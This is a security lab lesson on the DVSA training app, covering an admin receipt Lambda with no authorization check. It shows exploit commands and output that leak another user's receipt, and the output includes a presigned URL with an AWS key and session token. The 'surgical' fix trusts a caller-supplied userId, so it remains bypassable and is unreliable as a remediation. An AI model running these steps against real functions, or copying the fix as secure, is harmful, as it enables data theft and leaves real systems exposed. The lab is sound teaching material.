L E S S O N 0 3

Sensitive Data Exposure

Admin Receipt Disclosure via Unauthorized Lambda Invocation

OWASP A3

Severity: Critical

Status: Fixed ✓

What Is the Problem?

Affected Component

DVSA-ADMIN-GET-RECEIPT
AWS Lambda function

Root Cause

Admin receipt function with NO authorization check at entry point

Impact

All users' receipts exposed — complete data breach

The function was designed for admins only — but contained zero enforcement of that intent

R O O T C A U S E

The Vulnerable Code

admin_get_receipts.py (VULNERABLE)

```python
# ✗ No authorization check — just starts processing immediately
def lambda_handler(event, context):
    client   = boto3.client('s3')    # ← No admin check before this!
    resource = boto3.resource('s3')
    y = event["year"]    # ← reads attacker-controlled input directly
    # Proceeds to download ALL receipts and return presigned URL
```

Any caller — regardless of role — received ALL users' receipts

No identity check means the function trusted caller intent over verification

E X P L O I T A T I O N

Attack Steps

1

Invoke Admin Function as Regular User

```
aws lambda invoke --function-name DVSA-ADMIN-GET-RECEIPT --payload '{"year":"2026","month":"04","day":"24"}'
```

2

Receive Presigned S3 URL

```
Function returns {"status":"ok","download_url":"https://dvsa-receipts-bucket..."} — no auth check
```

3

Download ZIP Archive of ALL Receipts

```
curl -s $(python3 -c "print(json.load(sys.stdin)['download_url'])") -o /tmp/receipts.zip
```

4

Read User C's Private Receipt

```
Extracts: UserC, Super Mario 2 (1), Total $45 — obtained with NO admin privileges
```

Exploit Confirmed

✓ Normal: Function should reject non-admins

```
~ $ aws lambda invoke \
> --function-name DVSA-ADMIN-GET-RECEIPT \
> --payload '{"year":"2026","month":"04","day":"24"}' \
> --cli-binary-format raw-in-base64-out \
> /tmp/receipt_output.json && cat /tmp/receipt_output.json
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
{"status": "ok", "download_url": "https://dvsa-receipts-bucket-915304716365-us-east-1.s3.amazonaws.com/zip/2026-04-24-dvsa-order-receipts.zip?AWSAccessKeyId=ASIAXHFTT6GFTP7OM74E&Signature=T8%2FMN%2B8BtYI5JTQQyBdZlxUOmyB%2BXA=&x-amz-security-token=IQoJb3JpZ2luZVZlYWNzZXMvIwHc3Qf0ZH
MEUCIFKqqGIFSXvOUaUmEUbMB6VgCIQvzlYFHRwFZRIE9ilLEmAIEMnFKGenUOBgqBjfwAIIBAwcIBjzb57NZpnVTCqonvBqN2BwMTQwNAgwOMTUyMDQMTYxNjIIX.cbUmemHN2Y1EjQC2ir+VX3EaEiE1IB2EC6ZDDBIDDBVBeCgBuBqTuWN2BTfa57MPVT2xWjc1bp6hAo7FS3YlIaUlYjaGbmIbmNrmR2Bm6M35c%2Fhy/AWHkULbrWgHrjfrIES7BHfruoOJF
ofPQN3N2BN2F1EWLA4NN2F3YUIl)yXbpNLIFaWjGaAaOMGamN2FBUQN2B4FwrHbrBB6lCA2edPWXEcpyhjcLc7Ns/bbRH9bFC7cGKbureeqTYsihUIUYIFN3B3HqbMZFBFY57/mr6TlaA9PIAsbaIbmyrVSBPaNryNmHzdDWbPjIYc3AzOSZEGIQIB7aWetchVcDwT/yxzQ4bIZBPB2BAwbrHBLBP4dBmbj1A3AYnyAcxepmZ8BN2F4ZLLNM3ipgeSejqHtE
ICAMAcG3ppyF+T2B9YjIEABgJIIeN2BBMcCtBHnA2mBCR2Ic1YSFnQNISIngmVQLPcOeGmcLfnbqaaWnNyOcZCuNx2bW111jm4ZTNX1AQZxgr+FBxgI7BDYmIesLX7QsOAGzGrEk55FcGehGCcTqesGMnBVDMnDrK3IUHjFN2BYMwmFjumNYmYMrCCbcSrtrkuUmBLcPB3yNwLLNahuJeAuAZBgbAJbbuAN2WaMbAuhwcMmFwB9TTcwfOoQBMrBcB3F3FF9q
PgzsbWLN2FQMomuUhyCZDBgTlEeCLwKzLcS7ibEaZyptS8HXDTcomfbAb7uUAwq4rFontIBeSXoaIb8X3w7FSgwJPjQ3I9MlOOyjQMNtH4FmhptjmFBbYcqUIEQNZEZDIUW2F5HUZSAmN2FrwbHGAEFUBjSCY9MbGwstIMLNRmgSSAXuwBNjgfMYMUZ2mdcHPKzgpAXDN3AEcqi=eo=1777743976"}~ $
```

Invoke as User B → **returns presigned URL!**

★ Exploit: User C's receipt stolen

```
~ $ unzip -o /tmp/receipts.zip -d /tmp/receipts/ && cat "/tmp/receipts/tmp/2026/04/24/15fd86f0-9f9c-419b-9fba-5360fa894d20_e4c8a478-0091-7020-758c-742afad11e2d.txt"
Archive:  /tmp/receipts.zip
   creating: /tmp/receipts/tmp/
   creating: /tmp/receipts/tmp/2026/
   creating: /tmp/receipts/tmp/2026/04/
   creating: /tmp/receipts/tmp/2026/04/24/
 extracting: /tmp/receipts/tmp/2026/04/24/15fd86f0-9f9c-419b-9fba-5360fa894d20_e4c8a478-0091-7020-758c-742afad11e2d.txt
 extracting: /tmp/receipts/tmp/2026/04/24/90ae1117-ce9d-4786-a014-951b32761e87_04782418-4041-703b-4c8f-0364aa06148d.txt
 extracting: /tmp/receipts/tmp/2026/04/24/6749f7ab-8bfb-4703-8dc2-f327fd531283_44d08408-2041-70aa-d020-49f914f85e08.txt

            Order: 17UbslwaDaor,

            To:
                UserC,


            Items:
                        45              Super Mario 2 (1)


            Total: $45

        ~ $
```

Order: Super Mario 2 | Total: $45

← User B stole User C's data

R E M E D I A T I O N

The Fix Applied

1

Extract requesting user's identity

```
requesting_user_id = event.get("userId", "")
```

2

Look up user in DynamoDB

```
resp = user_table.get_item(Key={"userId": requesting_user_id})
```

3

Check isAdmin attribute

```
if not resp.get("Item",{}).get("isAdmin", False): return 403
```

4

Proceed only for verified admins

```
client = boto3.client('s3')  # only reached by admins
```

File changed: DVSA-ADMIN-GET-RECEIPT / admin_get_receipts.py

V E R I F I C A T I O N

After Fix — Results

Unauthorized Invoke → BLOCKED ✓

```
~ $ aws lambda invoke \
>   --function-name DVSA-ADMIN-GET-RECEIPT \
>   --payload '{"year":"2026","month":"04","day":"24"}' \
>   --cli-binary-format raw-in-base64-out \
>   /tmp/receipt_output2.json && cat /tmp/receipt_output2.json
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
{"statusCode": 403, "body": "{\"status\": \"err\", \"msg\": \"Forbidden\"}"}~ $
```

```
{
  "statusCode": 403,
  "body":
"Forbidden"
}
```

Legitimate Admin Call → WORKS ✓

An admin user passing a valid userId with isAdmin=True in DynamoDB still receives the presigned ZIP URL — no regression introduced.

→ Fix is surgical: blocks unauthorized access, preserves legitimate admin workflow

Tables A & B

Table A — Operation Analysis

Vulnerability	Intended Rule(s)	Artifacts Used	Normal Behavior	Exploit Behavior
Sensitive Data Exposure	Only verified admins may invoke admin receipt function	Source code, CloudWatch logs, AWS CLI response	Regular users receive 403 rejection	FAKE_AS_B returns ZIP with all users' receipts

Table B — Deviation and Fix Analysis

Vulnerability	Why a Deviation	Deviation Class	Fix Applied (Where)	Post-Fix Verification
Sensitive Data Exposure	Admin-only utility had no enforcement — any caller received all receipts	Intentional misuse / security-relevant abuse	isAdmin check added to lambda_handler in admin_get_receipts.py	Unauthorized invoke returns 403. Presigned URL no longer returned.

Key Takeaway

Admin functions must enforce their own access control. Direct Lambda invocation bypasses API Gateway auth entirely — every function is an independent entry point that must verify the caller's identity and role before executing.